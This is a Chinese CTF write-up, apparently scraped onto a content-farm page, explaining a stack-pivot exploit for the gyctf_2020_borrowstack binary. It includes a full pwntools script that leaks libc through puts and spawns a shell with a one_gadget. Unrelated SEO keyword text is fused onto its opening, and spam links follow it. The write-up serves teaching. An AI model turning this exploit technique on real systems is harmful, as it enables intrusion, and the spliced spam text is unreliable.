当前位置: 首页 > news >正文

武侯区网站建设普通门户网站开发价格

武侯区网站建设,普通门户网站开发价格,wordpress怎么找到php文件路径,扁平化风格网站模板这是一题栈迁移的题目#xff0c;先看看保护#xff1a; 黑盒测试#xff1a; 用户可输入两次内容#xff0c;接着看看IDA中具体程序流程#xff1a; 我们看到溢出内容只有0x10的空间给我们布局#xff0c;这显然是不足以我们布置rop的。因此肯定就是栈迁移了。迁到什么地…这是一题栈迁移的题目先看看保护 黑盒测试 用户可输入两次内容接着看看IDA中具体程序流程 我们看到溢出内容只有0x10的空间给我们布局这显然是不足以我们布置rop的。因此肯定就是栈迁移了。迁到什么地方呢肯定就是这个bank所在的地方了。它在bss段上。我们还需要考虑一些细节上的东西首先我们需要知道libc的基地址因此我们需要通过puts函数来泄露。我们先看看最初栈的布局 此时rip指向leave 栈的内容 leave指令做两件事mov rsp,rbppop rbp.紧接着就是执行ret指令。 因此我们的思路明确了需要覆盖掉old_rbp图中手误大家理解就行和返回地址。 old_rbp覆盖成我们的bss段让rbp指过去接着返回地址需要再调用一次leave。 问(为何栈迁移需要两次调用leave) 答第一次调用是控制rbp到达想去的地方第二次调用是控制rsp达到目的地。此后rbp飞去哪我们就不管了不明白可以好好理解leave指令干的两件事 因此我们的exp就能这样写了 from pwn import *#ioremote() ioprocess(./gyctf_2020_borrowstack) context.log_leveldebug elfELF(./gyctf_2020_borrowstack) libc ELF(/lib/x86_64-linux-gnu/libc-2.23.so)puts_pltelf.plt[puts] puts_gotelf.got[puts] bank0x0601080 leave0x400699 pop_rdi0x400703 # ROPgadget --binary gyctf_2020_borrowstack --only pop|ret | grep rdi main0x0400626 ret0x4004c9gdb.attach(io) io.recvuntil(u want) pl1ba*0x60p64(bank)p64(leave) #control rsp - .bss io.send(pl1) # gdb.attach(io) # pause() io.recvuntil(now!) pl2p64(ret)*20p64(pop_rdi)p64(puts_got)p64(puts_plt)p64(main) #leak puts_addr io.send(pl2)io.recvline()puts_addu64(io.recv(6).ljust(8,b\x00)) print(!!!,hex(puts_add)) libc_baseputs_add-0x6F6A0 one_gadgetlibc_base0x4527a pl3ba*0x60bbbbbbbbp64(one_gadget) #one_gadget libc.2.23.so io.send(pl3) io.send(a)io.interactive() 下面我们看下步骤好的栈布局 bss段上的内容 此时劫持完rsp后效果是这样的 接下来的操作基本都是pop因此rsp是从低地址到高地址跑每次poprsp8所以我们顺序布局就可以。 后续的操作就很简单通过泄露的puts函数地址计算出libc的基地址当程序再次回到主函数时直接将栈上的返回地址覆盖成one_gadget拿到权限。 puts函数偏移和one_gadget偏移要根据自身情况来定。我这是本地的环境。最后打通如下
http://www.hkea.cn/news/14352359/

相关文章:

  • 网站开发的教学视频python一句做网站
  • 网站建设 大公司电商培训内容有哪些
  • 北京网站制作网络推广公司给客户做非法网站
  • 山西网站建设方案拼多多网店怎么注册开店
  • 有哪些做废品的网站wordpress悬浮窗安装
  • 建设银行网站一直打不开网站建设心得体会范文
  • 建立自己的网站需要多少钱企业网站排名关键
  • 高校图书馆网站的建设的重要性去除wordpress版本号
  • 淄博做网站的公司排名批量扫dedecms做的网站
  • app网站开发定制开发工具控件属性怎么打开
  • 做网站那个公司比较好简单asp网站源码
  • 在线音乐网站开发摘要网站地图可以自己做么
  • 黑群晖做网站河北网站建设
  • 免费国外ddos网站网络营销网
  • 创建网站运营费用建设集团简介
  • 辽宁丹东建设厅网站怎么做网站主导航
  • 新做好的网站如何做seo长沙竞价优化
  • 宣城老品牌网站建设临汾花果街网站建设
  • 用什么工具建设网站建筑公司网站制作
  • 网站开发中的视图页面指的是什么地方网站 域名选择
  • 哪个市文化和旅游网站做的好wordpress免费么
  • 格力网站的建设情况wordpress win主机伪静态
  • 池州做网站wordpress编写页面代码
  • 做网站如何选域名华为手机网站建设策划方案
  • 上海专业做网站推广的公司网页小游戏的网站
  • 深圳最火的网站深圳软件定制哪家好
  • 南昌中企动力做的网站怎么样门户网站概念
  • 不用js做网站阿里巴巴网站建设缺点
  • 上海做网站的公百度官方下载安装
  • 网站设计与实现毕业设计法人查询网